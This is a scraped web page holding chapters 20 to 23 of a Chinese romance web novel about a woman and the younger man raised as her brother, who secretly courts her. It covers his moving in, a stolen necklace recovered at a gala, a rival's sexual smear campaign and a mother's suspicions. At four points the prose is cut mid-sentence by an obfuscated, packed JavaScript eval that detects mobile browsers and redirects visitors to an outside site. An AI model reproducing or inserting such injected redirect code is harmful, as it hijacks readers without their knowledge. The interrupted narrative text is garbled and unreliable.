写字楼的玻璃门旋转着,吐出一波又一波疲惫的面孔。 隋心喜揉了揉有点发酸的脖颈,正琢磨着晚上吃什么,抬眼就看见了靠在对面柱子下的晏铮。 她快步过去,有点意外,“你怎么跑这儿来了,今天没课?” 晏铮收起手机:“我都大四了,学校没什么课了,大家都在准备实习。” “你找着地方了没?”隋心喜和他并肩往停车场的方向走。 晏铮用下巴指了指他们刚出来的大楼,“找到了,就在这栋楼上面,常尔科技,你知道吧?” 隋心喜是真有点吃惊了。她所在的富邦科技在十九到二十二层,常尔科技是在三十五层往上,算是本地挺有名气的一家AI公司。 “行啊你!怎么找到的,他们实习生门槛不低吧?”她语气里带着由衷的赞许和对弟弟的自豪感。 “就投简历,面试呗”,晏铮笑了笑,像是被夸得不好意思,“我运气好,正好赶上他们有个项目组缺人。” 隋心喜点点头,“那你实习多久?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564624|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “至少半年吧,项目周期在那”,晏铮说着,有点为难了,“姐,这就是我现在有点头疼的事了……” “常尔是好公司,可问题是我学校在城西啊!”晏铮叹了口气,十分烦躁,“地铁转公交,单程就得一个半钟头。如果赶上早晚高峰,更久。而且这种实习,加班怕是少不了的。要是晚上弄晚了,地铁公交都没了,打车回去太贵,我又不能天天睡公司。” 隋心喜听着,也跟着皱了眉:“通勤是太远了点,加班也是麻烦。” “是啊,我现在就愁这个呢!”晏铮仿佛找到了共鸣,“本来想着在这附近租个房子,但看中的几套,又贵又抢手,合适的太难找了。而且只租半年,房东都不爱搭理。” 他留意着隋心喜的脸色,将那个蓄谋已久的请求,用一种抱歉的语气说了出来:“所以……姐……我能不能跟你挤挤啊?” “你那儿还有一间空房吧?我就住实习这半年,绝对不影响你。家务活我包了,做饭洗碗打扫卫生都我来。我就晚上回去睡个觉,保证跟影子似的,行吗?” 空气安静了几秒,只有街上汽车驶过的声音。 隋心喜停下脚步,拒绝道:“晏铮,这不合适。” “怎么了?”晏铮追问着,眼神依旧清澈,“你以前不也常带我吃饭照顾我吗?我们现在,相当于合租。你帮帮我吧,我真的找不到更近更合适的了。” “这不一样!”隋心喜有点头疼,“现在你都多大了?孤男寡女住一个屋檐下,传出去像什么样子?” 她态度坚决,重新迈开步子往前走,走得比刚才快了些,似乎想甩开这个话题。 晏铮紧跟在她身边,沉默了几秒钟。 再开口时,他的声音变得很低,“对不起,是我考虑不周。” 他努力扯了扯嘴角,露出一个故作轻松的笑容,“我会想办法的。大不了早点起来赶地铁,加班太晚,就在公司办公桌上趴着睡。没事啊姐,你不用管我,我自己能搞定。” 说着,他不再看隋心喜,目光望向前面川流不息的车流,侧脸显出倔强又孤单的线条。 他现在这样,像极了以前被人欺负又不肯说,自己默默躲在角落的样子。 隋心喜的脚步不由自主地又慢下来,声音也软了,“你那点实习工资,够用吗?” 晏铮抿了抿唇,眼神飘忽了一下,“实习工资不多,就刚够吃饭吧。实在不行的话,我三顿并做两顿吃就行,这样还能省下钱打车什么的……” “三顿并做两顿?”隋心喜的声音拔高了,带着浓浓的心疼,“这怎么行?胃还要不要了?” 她几乎能想象到,晏铮为了省钱啃馒头或者干脆饿肚子的场景,这在她从小照顾他的认知里,是绝对不允许发生的。 她于心不忍地叹了口气,告诉自己算了,反正就是半年而已,反正那个房间空着也是空着。 她说:“我回去收拾一下,床单被褥那些,也得找出来晒晒。弄好了,你周末搬过来吧。” 晏铮安静地听着她的安排,感觉整个人都飘了起来。 夕阳的余晖透过高楼缝隙洒在街道上,映着她的侧脸,暖暖的。 他当然不会告诉她,所谓的“实习生身份”,是他随口就能拿到的一张门卡。 他账户里的钱,要付附近最好房子的租金,都绰绰有余。 但这些都不重要。 重要的是,他终于能光明正大地住进她的空间,离她近得不能再近。 他有大把的时间,在她眼皮子底下,一点一点瓦解她心里那堵“弟弟”的高墙。 21. 第 21 章 城中豪华酒店的天际宴会厅里,隋心喜扯了扯身上的小礼服裙,不太习惯这种场合。 她是代表富邦来的。今晚说是科技行业的社交宴会,其实就是大家端着酒来回溜达,说些场面话。 她手里也捏了个酒杯,里面还剩个底,冰早就化没了,喝起来有点温吞吞的甜水味。 她脸上挂着笑,笑肌有点僵,听着对面一个穿丝绒西装的男人,侃侃而谈他们公司最新的大数据模型。 她时不时点头,嗯两声,眼神却忍不住往地上瞟。 刚才和几个同行寒暄,肩膀不小心被人碰了一下,脖子后面轻微的坠感就没了。 起初她没在意,以为是头发勾到了耳环。 等她走到安静点的角落,抬手一摸脖子,才发现那条坠着小小一粒不规则的银豆子项链,消失了。 她越来越焦躁,到后面也不想再听丝绒西装说什么。她胡乱点了下头,说了句“抱歉失陪”,转身就往刚才站过的地方走。 她低着头,眼睛像探照灯一样,扫过脚下深灰色的地毯。 可吊坠太小,又和地毯一个颜色,实在不好找。 香槟塔旁边没有,长条餐桌底下也没有。她有点急了,顾不得形态就蹲下去,膝盖蹭着地毯,查看沙发底下。 旁边有人投来诧异的目光,还有人在窃窃私语。隋心喜全当没看见。 其实,那条链子很普通,链坠估计就是个不值钱的碎银子打磨的。 可是,那是晏铮在高中时候送的。他说,那是他帮人打游戏攒了点钱买的生日礼物。 就在她想着,有没有可能掉到外面走廊或者洗手间的时候,她瞥到了落地玻璃前面,站了一个穿着亮片长裙的中年女人。 她端着一杯红酒,正跟旁边一个男人说笑。灯光下,女人脖子上一道细细的银光闪了一下—— 那链子跟她丢的一模一样! 隋心喜心跳加速,连忙过去,急切道:“对不起,打扰一下!” 女人不悦地转过头,上下打量隋心喜,有点不耐烦,“什么事?” 隋心喜盯着女人脖子上的项链,“这位女士,不好意思,我刚刚丢了条项链,跟您戴的这条看起来很像。请问您是从哪儿……” 女人下意识地抬手护了一下自己的项链,眼神变得警惕,又带着点鄙夷。 她嗤笑一声,透着股居高临下的味道,“小姑娘,饭可以乱吃,话可不能乱说。这项链是我的,怎么,你看上了?” “不不,我不是那个意思!”隋心喜急忙摆手,脸也红了,“我是真的丢了一条一模一样的,就在这宴会厅里,我找了半天了!您这条……您确定是自己带来的吗?有没有可能在哪里捡……” “捡?!”女人拔高了声音,像被踩了尾巴的猫,“你什么意思?说我捡你的东西?” 周围有几道视线投射过来,带着看热闹的兴味。女人的男伴也往前站了半步,眼神不善地看着隋心喜。 隋心喜被噎得说不出话,窘迫得恨不得找个地缝钻进去,但为了项链,她还是硬着头皮解释:“女士,您别误会。我就是着急,那条项链对我很重要,是我弟弟送我的礼物。它不值什么钱的,就是个心意。您看仔细点,您这条真的是您的吗?或者,您有没有见过一条类似的掉在地上?” 女人像是听到了天大的笑话,夸张地捂嘴笑起来,“哎哟喂,我说小姑娘,你是真不识货,还是在这儿跟我演苦情戏呢?” 她用手指弹了弹自己项链上的银豆子,讥讽道:“睁大你的眼睛看清楚!这链子可不是什么地摊货,是意大利手工的铂金链!还有这个坠子,看着普通,实际叫‘原始矿珀’,天然形成的,这么一小点就要十几万!” “你说你弟弟送你十几万的项链当礼物?还戴着来这儿弄丢了?你编故事也编得像样点!” 隋心喜脑子里嗡嗡作响,难以置信地盯着那颗在灯光下折射出内敛光泽的“银豆子”。 如果这就是她弄丢的那条,那晏铮高中时候,哪里来的十几万? 这女人说的话,究竟是真的,还是故意在羞辱她? 隋心喜一时也拿不出更有力的证据。她看着女人得意的笑脸,再看看周围那些或好奇或看笑话的目光,喉咙里干涩得发紧。 “对不起……打扰了”,隋心喜挤出这几个字,声音低得几乎听不见。 晚宴后面是怎么熬过去的,隋心喜不记得了。 她胡乱找了个借口提前离场。走出那灯火辉煌的酒店时,她被风一吹,才觉得脸上冰凉一片。 她赶紧擦掉泪花,又暗骂自己真是没用。 晏铮送她的东西,怎么就丢了呢? 她还记得晏铮高考结束那会,成绩还没出来,他就送了这条项链给她作为生日礼物。 他祝她生日快乐,还让她不要嫌弃。 她笑着揉他脑袋,说他乱花钱。 现在,项链已经找不回来了。该怎么跟晏铮说呢?他会不会失望?隋心喜心里沉甸甸的。 —————————— 隋心喜推开家门,一股暖意和食物的香气扑面而来,跟外面冰冷的夜色截然不同。 晏铮盘腿坐在沙发上,对着他的笔记本电脑敲敲打打。茶几上放着一碗冒着热气的汤,旁边还有一小碟洗好的水果。 “回来了?”晏铮抬起头,对着隋心喜笑笑:“姐,你脸色怎么这么差?晚宴是不是没吃饱,我给你热了汤,喝点暖暖。” 隋心喜看着眼前这张年轻帅气的脸,心里的难受劲儿又涌上来,堵在嗓子眼。 她疲惫地脱掉高跟鞋,瘫坐上沙发,长长叹了口气,“嗯,累死了。” 晏铮立刻合上笔记本,仔细看了看她的脸,“怎么了?受委屈了?谁惹你了?告诉我。” 看着他这么紧张自己,隋心喜心里更酸楚了。 她低着头,憋了半天,才艰难地开口:“晏铮,对不起啊……你高中送我的那条银链子,我平时都保存得好好地,今天心血来潮想在晚宴上戴一下,却不知道掉哪儿了。我找了很久都没找到。” 晏铮并没有露出失望或者责怪的表情。他只是奇怪地“咦”了一声,起身回房,不久后又出来了。 他对着隋心喜展开手心,问:“你是说这个吗?” 隋心喜的视线聚焦在他手上,那正是她以为丢了的项链。 她立即坐直身体,一把抓过来,仔细翻看着,“这……这怎么……它不是在……” “你今天出门想戴,却顺手放茶几上了吧?”晏铮看着她,有点哭笑不得的无奈,“我下午回来就看见了,怕你再不小心,就帮你收好了。刚看你回来情绪不对,我都忘了这茬。原来你是因为这个啊?” 隋心喜捏着失而复得的项链,感觉像是坐了一趟过山车。 除了喜悦,她的那些沉重情绪,被巨大的怪异感取代了。 她皱着眉,努力回忆:“可是,我明明记得……” 晏铮却不由分说地打断她:“你啊,肯定是最近太忙,记岔了。晚宴那种地方人很多吧?你一紧张,以为自己戴出去了,就开始胡思乱想,找不着当然着急上火。现在好了,东西在家呢,虚惊一场。” 他推了推茶几上的汤碗,“找到了就别难过了。喝点热汤吧,都快凉了。” 也许,真的是自己记错了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571279|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨晚睡得晚,所以今天也迷迷糊糊的。 隋心喜渐渐被晏铮说服了,心头的庆幸更是压倒了困惑。 她今晚差点冤枉了别人,还好没闹出更大的误会。 她吐了口气,将项链小心地收好,再端碗喝汤。 温热的汤汁顺着喉咙滑下去,确实驱散了不少疲惫。 晏铮则重新打开笔记本,又开始忙他的事情。 但他的嘴角,在隋心喜看不见的角度,微微地勾了勾。 —————————— 隋心喜并不知道,晏铮在高中时候已经开始赚钱。 虽然爸妈留下的保险金和财产够他吃饭上学,但他被那群如狼似虎的亲戚围怕了,老早就想自己手里有点东西,能捏得住的。 他从高一开始住校,周末回家写完作业,就一头扎进了游戏里。 那会儿,他打游戏是真狠,在天梯上刷刷地往上蹿,名字挂在排行榜前面。 有天打排位,队里有个坑货,把他气得够呛。他打完直接在公屏里骂,说这种水平的号,不如找他代打上分,省得出来祸害人。 本来只是气话,没想到私聊窗口很快亮了。一个大哥问:“真能代打?多少钱一星?” 晏铮愣了一下,手指头在键盘上敲了个数,他自己都觉得有点高。 对方没还价,直接说:“行,先打十星看看。” 晏铮熬了两个周末,眼睛熬红了,十星搞定。 虚拟币到手,转手一卖,揣进口袋里的票子,比他一个月生活费都多。 从那时开始,他的周末和寒暑假,就没闲着。 他一单一单地接,打累了睡,睡醒了打。手指头动得快,钱来得也快。 后来,他那游戏ID在几个热门区都打出名了,“Yan神”这名号有人认。 找他的人多了,不光代打上分,还有人专门找他“包月”,就是长期给老板的号打维护、打活动、刷装备。 他的价码一下子上去了,几千块一个月都是家常便饭。 有时候运气好,他还会碰上那种特别有钱又懒的大老板,出手就是几万块。 到了高二下学期,直播平台火起来了。 晏铮琢磨着,光闷头打给人看,不如放开了给人看。 于是,他开了直播。 他那会儿模样已经长开了,个子高,脸盘端正,尤其打游戏的时候,有股专注又有点不耐烦的劲儿,很招小姑娘喜欢。 而且他技术摆着那儿,说话也不端着,该骂娘骂娘,该损队友损队友,反而显得真实。 他的直播间人气噌噌涨,打赏的钱有时候比包月的进账还猛。 他脑子活络,线上玩得转,线下也没闲着。 他在游戏里认识了不少朋友,水平参差不齐。 他牵头搞了个小公会。他负责在外面揽活,接了单子,分给公会里有时间有能力的兄弟去打,他在中间抽个头儿。 公会人有十几二十个,活儿一直没断过。他自己打得少了,主要精力放在管人、派单、算账上。 钱,就这么越滚越多。 至于那条项链,是他趁着隋心喜生日前,特意托朋友从外国带回来的。 对方报了个数,要十几万。他眼皮都没眨一下,直接转账过去,也就花了他不到三个月的进账。 当然,他怕隋心喜不肯收,还是特意选了一个简陋的小盒子装着,然后告诉她只是几百块钱的小玩意,仿大牌那种。 隋心喜犹豫了一下,最终开心地收下。 他看着她的笑容,心里也很得意,比赚了十几万还舒坦。 她就该戴点好东西。 22. 第 22 章 锅里的汤顶开了锅盖,溢出来一点,在灶台上冒起白烟。 晏铮回过神来,赶紧伸手关小了火。 其实,今天下午他也接到了储嘉骐的电话,叫他去晚宴上露个脸,说以后对公司融资有好处。 晏铮一口回绝了,因为他还没想好怎么跟隋心喜摊牌公司的事。 他总觉得,应该等维恒再做出点实实在在的东西,他再告诉她一切。到那时,他就不再是她眼里需要照顾的“弟弟”了。 汤熬得差不多了,香味浓郁。 晏铮刚把火熄灭,旁边的手机就震动起来,是储嘉骐发来的视频。 晏铮有点疑惑地按下播放键。镜头扫过晚宴大厅里衣香鬓影的人群,逐渐聚焦在一个熟悉的身影上。 隋心喜今天穿了条挺好看的裙子,此刻却没有平时的从容大方。 她正和一个下巴抬得老高的女人对峙着。对方脖子上赫然挂着一条项链,分明就是晏铮送给隋心喜的那条。 随着模糊的对话片段,晏铮的眉头越来越紧。 在视频停止之后,储嘉骐的语音信息跟着来了:“看见没?你那姐姐丢了什么东西,满场找呢,急得快哭了。喏,那个女的,叫木万妮,暴发户似的。你姐过去和她说话,想把东西要回来,结果被欺负了。” 晏铮整张俊脸都冷了下来,那双总是对着隋心喜含笑的眼睛里,此刻翻涌起怒火和戾气。 他扯掉围裙,随手甩在料理台上,回房换了衣服,急匆匆地就出了门。 到了酒店,宴会还没结束,但气氛已经有些松散。 站在门口的储嘉骐显然一直在等他,看到他进来,立刻迎了上来。 储嘉骐带着他先去监控室,边走边说:“你姐刚走不久。我跟酒店打过招呼了,监控调出来,拍得很清楚。就是那木万妮,趁隋心喜和别人碰杯的时候,随手就把掉在椅子旁边的项链给顺走了。动作快得跟职业扒手似的,监控录像我也拷了一份。” 晏铮一言不发地看完了整个监控。他的眼中寒光闪烁,像淬了冰。 回到宴会厅的时候,木万妮正被几个人围着。她手里端着香槟,笑得花枝乱颤,脖子上那条偷来的项链在她的晃动下闪闪发光。 晏铮二话不说,挤开人群,站到她面前。 他个子高,阴沉着脸俯视着木万妮,强大的压迫感让周围的谈笑声瞬间小了下去。 木万妮被这突然冒出来的年轻人吓了一跳,特别不爽被打断:“你谁啊?干嘛呢?” 晏铮一个字都懒得说。 他掏出手机,直接把监控录像里的一张截图,怼到木万妮眼前。 木万妮看到照片,脸上的血色一下褪得干净。 她下意识地想伸手去抢手机,“你是谁啊?这照片是合成的,我警告你别乱说话!” 晏铮冷笑一声,举起拷了监控录像的U盘,“要不要现在找个地方放出来,让在场的各位都看看木总的风采?” 木万妮的目光扫过周围一圈不明所以的宾客们,感觉自己像个被扒光了示众的小丑。 她衡量着利弊,终于还是不甘心地解下脖子上的项链,扔给晏铮。 晏铮捏紧了那条失而复得的项链,上面还带着木万妮令人作呕的香水味。 他嫌恶地皱了皱眉,再吐出一句:“你必须找隋心喜道歉。” “你……”木万妮气得浑身发抖,但又被晏铮的眼神慑住了。她看得出来,这个年轻人不是虚张声势。 “知道了”,她从牙缝里挤出三个字,眼神怨毒。 晏铮没再理会她,转身就走,他得赶在隋心喜前先到家。 围观的人群也四散开了。木万妮看着晏铮的背影,猛地灌了一口酒,心里的火却越烧越旺。 道歉?做梦!她木万妮什么时候吃过这种亏? 她掏出手机,拨通了一个号码。 电话很快接通了,那边传来一个年轻男人略显恭敬的声音:“木总?” 木万妮阴冷道:“小赵,还在会场吗?” “在的,木总,有什么吩咐?” “听好了”,木万妮的声音压得更低,语速飞快,“刚才在会场过来找我说话的女人,是富邦科技的职员隋心喜,你给我放消息出去,就说她是被包养的金丝雀。” 小赵只是个跟班跑腿的,传谣也得有点料才行。他迟疑道:“木总……这个具体要说点啥?她的情况我不太清楚啊……” 木万妮不耐烦地嗤了一声:“蠢!这还用我教你,编都不会编?就说她今晚找的那条项链,根本不是她自己买的,也不是她所谓的弟弟送的,那是她金主的礼物!她不小心弄丢了,急得满场找,如果找不到,晚上回去交不了差。” “什么叫交不了差?”小赵还是有点懵。 木万妮翻了个白眼,“你是木头脑袋啊?她的金主是能送她十几万链子的人,能是好伺候的吗?你就暗示,她丢了礼物,晚上回去就得被那个老变态性虐待!明白没有?” 电话那头沉默了半晌,小赵似乎被这赤裸裸的恶意冲击到了,但还是唯唯诺诺地应道:“明白了,我就找机会跟几个平时爱八卦的说说。” “机灵点,别让人知道是我们这边放出的风声!”木万妮恶狠狠地叮嘱了一句,挂断了电话。 她长长吐出一口浊气,脸上露出扭曲的快意。 —————————— 腊月二十九下午,天气有点阴冷。 晏铮左手提着一个装满了新鲜水果的大礼盒,右手拎着塞满了点心的大袋子。 他站在隋心喜的父母家门口,腾出一只手按下门铃。 门很快开了,隋心喜见是晏铮,脸上带笑,赶忙侧身让他进来,“怎么买这么多东西?快进来快进来,外面冷。” 她伸手想去接他手上的袋子,他却不让,“我拿就行,有点沉。” 他熟门熟路地进了屋子,将东西放到茶几上,“只是给叔叔阿姨买了点年货,还有你喜欢吃的那个老字号点心。” 隋心喜的妈妈庞夏蕊听到动静,也从厨房里探出头。 “小铮来啦!”庞夏蕊满脸笑容地走出来,“哎哟,你这孩子,又乱花钱!自己一个人在外面上学多不容易,留着点钱自己花多好。” “阿姨,过年嘛应该的。我这学期实习也攒了点生活费,够用”,晏铮过去拿走庞夏蕊手里的抹布,“阿姨您歇会儿,有什么要收拾的我帮您弄弄。” “哎不用不用,你坐,心喜,给小铮倒杯茶”,庞夏蕊推辞着,但还是拗不过晏铮。 她看着晏铮动作利落地去擦餐桌,眼神不由地在他和女儿身上转了两圈。 隋心喜已经泡好了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580719|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯热茶,放在茶几上。 “晏铮,别忙活了,坐会儿喝点水”,她招呼着,又转向厨房,“妈,还有什么菜要弄,我来帮你。” “快弄完了,你陪小铮说说话”,庞夏蕊的声音从厨房传来。 晏铮擦完桌子,很自然地走到隋心喜身边坐下。 他侧过身子靠近她:“姐,你不是说颈椎不舒服吗?我认识个朋友会推拿,手法特别好,年后带你去试试?” 隋心喜互动了一下肩颈,“好多了,没事,就是那两天对着电脑久了点。” “还是要多注意,你总加班。我给你订了个护颈仪,应该今天就能到,待会拿给你。” 隋心喜愣了一下,有点无奈,“你买这些干嘛?我用不着……” “怎么用不着?你老低着头看电脑看手机”,晏铮打断她,但脸上还是那种无害的笑,“东西都要到了,而且过年快递停发,退不了。” 庞夏蕊端着两盘刚炒好的菜走出来,正好听见后半句。 她笑眯眯地问:“小铮给心喜买东西啦?” “嗯,姐颈椎不舒服,我给她订了个小仪器”,晏铮立刻换上更温和的语气回答庞夏蕊。 “哎呀你这孩子,就是细心体贴”,庞夏蕊放下菜,看着两人,眼神里多了点难以捉摸的东西,“心喜啊,你看小铮多惦记你。快谢谢人家。” 隋心喜只好顺着妈妈道谢。她觉得晏铮有点小题大做了,但又有点暖,毕竟是他的心意。 这时,隋心喜的爸爸隋涛原也从书房出来了,几人很快落座吃饭。 桌上摆满了丰盛的菜肴,气氛热闹。 晏铮坐在隋心喜旁边,他很勤快,不断给她夹菜。 “多吃点这个排骨,阿姨做的特别入味。” “尝尝这个虾,新鲜。” “鱼眼睛这块嫩,给你。” 他筷子几乎没停过,目标明确地落在隋心喜的碗里。 隋心喜看着自己堆成小山似的碗,哭笑不得,只得伸手挡住晏铮又一次伸过来的筷子,“够了够了,你吃,我自己会夹。” 隋涛原则乐呵呵地跟晏铮聊着学业和实习的事儿,庞夏蕊没怎么插话。 她有着作为一个母亲的直觉,总感觉两个年轻人的相处不太对劲。 晏铮对心喜的关心,似乎有点太多了?不像弟弟对姐姐,倒像是…… 她的心里咯噔一下,赶紧把这个念头压下去,招呼大家多吃菜。 饭吃得差不多的时候,外面远远传来零星的鞭炮声。 晏铮放下筷子,拿起汤勺要给隋心喜盛汤,“姐,再喝点汤暖暖。” “我真喝不下了”,隋心喜连忙捂住自己的碗,“你自己喝吧。” “行”,晏铮放下汤勺,“那我和你一起收拾。” 庞夏蕊看着晏铮和女儿一起收拾好碗筷又走进厨房,背影靠得有点近,心里那种怪异的感觉更浓了。 好不容易等到晏铮回了自己家,庞夏蕊脸上的笑容淡了下去。 她看了一眼在看电视的丈夫,对隋心喜说:“你来一下,妈跟你说点事。” 隋心喜跟着庞夏蕊走进房间,拉过椅子坐下,问:“妈,什么事啊?” 庞夏蕊盯着隋心喜,开门见山:“你跟妈说实话,你跟小铮……你们俩,是不是在处对象?” 23. 第 23 章 隋心喜完全没料到妈妈会问这个。 她像被什么东西戳了一下,心口突突地跳起来,脸上也有点发烫。 “妈,你说什么呢?”她声音不自觉地拔高了,带着明显的慌乱和羞窘,“晏铮是我弟,从小一起长大的弟弟!我们怎么可能……哎呀妈,你想哪儿去了!” 庞夏蕊盯着女儿的反应,看着她涨红的脸和躲闪的眼神,心里的疑虑并没有消散。 她追问道:“真的没有?我看他刚才吃饭,一个劲儿给你夹菜,那眼神可不是看姐姐的眼神。他说话做事,对你照顾得也太仔细了点吧?这都超出姐弟情分了。” “妈!真没有!”隋心喜更急了,心跳得像要蹦出来。 她深吸一口气,试图用更理性的语气解释,“晏铮他就是这样的性格,你还不知道嘛?他从小在我们家长大,把我们当亲人。他确实依赖我,也就是习惯对我好。再说了,他比我小那么多,还是个学生呢,你别瞎想!我们就是姐弟,永远都是最亲的亲人!” 她斩钉截铁地一口气说完,像是说给妈妈听,也像是说给自己听,试图压下心底那丝被点破的惶惑。 庞夏蕊听到女儿那句“亲人”说得格外用力,紧绷的心弦稍微松了一点。 她长长吁了口气,拍了拍胸口,“没有就好,吓妈一跳。我就说嘛,你比他大那么多,不合适不合适。小铮是个好孩子没错,但你们两个一起长大,跟亲姐弟一样。如果真走在一起,就太不像话了。” 听到妈妈明确说出不同意的话,隋心喜的心一点点往下沉。 她强撑着,盯着自己的手指,没有说话。 庞夏蕊没注意到女儿情绪的变化,或者说,女儿的沉默被她理解为赞同。 她的注意力转到了另一个更让她操心的话题上,“心喜啊,既然你跟小铮不是那种关系,那你也该好好考虑考虑自己的终身大事了。你看你,过了年就二十九,虚岁都三十了!你那些同学朋友,有的孩子都上幼儿园了,就你,连个男朋友的影子都没有。” 隋心喜手指无意识地绞着衣角。窗外又传来几声鞭炮响。 “妈跟你讲,有个弟弟在身边照顾你,是挺好。但弟弟再好,他能陪你一辈子吗?他将来肯定要结婚成家,有自己的老婆孩子,重心就放到他自己的小家去了。那时候你怎么办,还不是得靠自己?” 她看着女儿低垂的脑袋,加重了语气,“你看你现在,事业是还行。可女人啊,这么拖着,年纪越大,越不容易找好的。你看你王阿姨家的女儿,比你小一岁,今年二胎都生了;李阿姨家的女婿,条件多好。你总不能让爸妈一直为你操心吧?你自己得上点心啊!” 隋心喜依旧沉默着。房间里很暖和,但她觉得手脚有点凉。 妈妈的每句话都像小锤子敲在她心上,她知道妈妈说得有道理,是社会常态的道理。 她抬起头,看到妈妈焦虑又期待的眼神,心里堵得慌。 那些她想要反驳的话,那些对晏铮无法言说的心思,那些她对纯粹“归宿”的想法,她都统统说不出口。 她努力扯了扯嘴角,点点头,“我知道了,妈。我会留意的。” 庞夏蕊听到这句话,像是得到了一个重要的承诺,语调也轻快起来,“这就对了嘛!妈知道你要求高,但条件差不多就行,人品好是关键。咱也不图大富大贵,安安稳稳过日子最重要……” 她开始絮絮叨叨地说起哪个朋友家的儿子可能合适。 隋心喜听着妈妈的声音在耳边响着,那些关于相亲对象的建议,却一个字都没听进去。 她知道,自己刚刚答应的,不仅仅是“找男朋友”,更是亲手关上了一扇门。 一扇她甚至还没勇气去推开看看里面是什么的门。 —————————— 与此同时,晏铮走到自家沙发边坐下,掏出烟盒,在里面摸索了一圈,只摸到一点散落的烟丝。 他烦躁地捏扁了空烟盒,丢进旁边堆满烟头的烟灰缸里。 刚才在隋心喜家吃饭的情景又浮现在眼前。 饭桌上,庞阿姨的目光几次在他和隋心喜之间来回,笑容也有点微妙。 他知道她在掂量,在评估,在无声地划清界限——这小子,终究是个弟弟,和自家闺女扯上别的关系?不合适。 晏铮只觉得胸口堵着一团闷气,他需要尼古丁来压一压这股无名火。 他站起身,在屋子里转了一圈,把几个可能放烟的地方都翻遍了,一根存货都没有。 他骂了一声,抓起外套穿上,下楼去买。 夜晚的老小区很安静。路灯灯光昏黄,勉强照亮坑洼的水泥路。 夜风带着寒意,刮在脸上有点刺。晏铮把拉链拉到顶,双手插在衣兜里,快步朝小区门口的便利店走去。 结账的时候,自动门又开了。 一个熟悉的女声响起:“老板,你家抽纸放哪里了?” 晏铮转头,见隋心喜裹着一件厚外套也来了。 她的头发随意地挽着,显然是临时被家里打发出来买东西的。 隋心喜也看到了他。她走过来打了声招呼,看着他手边的烟,蹙了眉,但没说什么。 两人付了钱,一起走出便利店。冷风扑面而来。 “抽烟对身体不好”,隋心喜终于还是忍不住,小声说了一句,带着习惯性的姐姐关切。 “嗯,知道”,晏铮淡淡地应着,拆开烟盒,熟练地抖出一支叼在嘴里,又摸出打火机。 他深吸了一口,辛辣的烟雾涌入肺腑,稍微压下了点胸口的烦躁。 他缓缓吐出烟圈,白色的烟雾在昏黄的灯光下飘散开来。 “一起走走?”晏铮侧头看她,回去的路只有一条。 隋心喜点点头,和他并肩走在小区路上。 两人一时无话,只有路灯把影子拉长又缩短。 隋心喜心中难受,直觉此时应该说点什么。她清了清嗓子,问:“你实习快结束了吧?” 晏铮夹着烟的手指顿了一下,含糊地应了一声。 “那……你是不是该搬回学校宿舍住了?你都快毕业了,应该多和同学相处,而且住宿舍方便准备论文答辩什么的。” 她努力让自己的语气听起来自然,像姐姐关心弟弟的学业安排。可她心里清楚,这更像是在赶人。 果不其然,这句话像颗火星,点燃了晏铮从饭桌憋到现在的所有郁结。 他停下脚步,转身面对隋心喜,眼神锐利:“还没过完年,你就这么着急赶我走?” 隋心喜被他看得心头发慌,下意识地后退了一步,拉开一点距离,“我是为你考虑。你还没毕业,总得回学校。” “为我考虑?”晏铮向前逼近一步,声音压抑着怒火,“隋心喜,你到底把我当什么?是永远长不大的弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583605|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟对吗?” 他咄咄逼人的气势让隋心喜慌了神。她不知道该怎么解释自己混乱的心情,以及来自妈妈的压力。 她本能地又往后退了一步,只想逃离这让她心跳加速的对峙,根本没注意脚下。 老小区的路年久失修,一块松动的地砖边缘翘起,她穿的鞋跟正好绊在凸起的边缘上。 她惊呼一声,身体瞬间失去平衡,整个人不受控制地向旁边歪倒。 晏铮立刻扔掉手里的烟,条件反射般地上前。 下一秒,隋心喜整个人就被他稳稳地打横抱了起来。 双脚骤然离地,隋心喜吓得搂住了晏铮的脖子,整个人蜷缩在他怀里。 一股混合着淡淡烟草味和年轻男性的气息瞬间笼罩了她,她的心脏在胸腔里疯狂地擂动着。 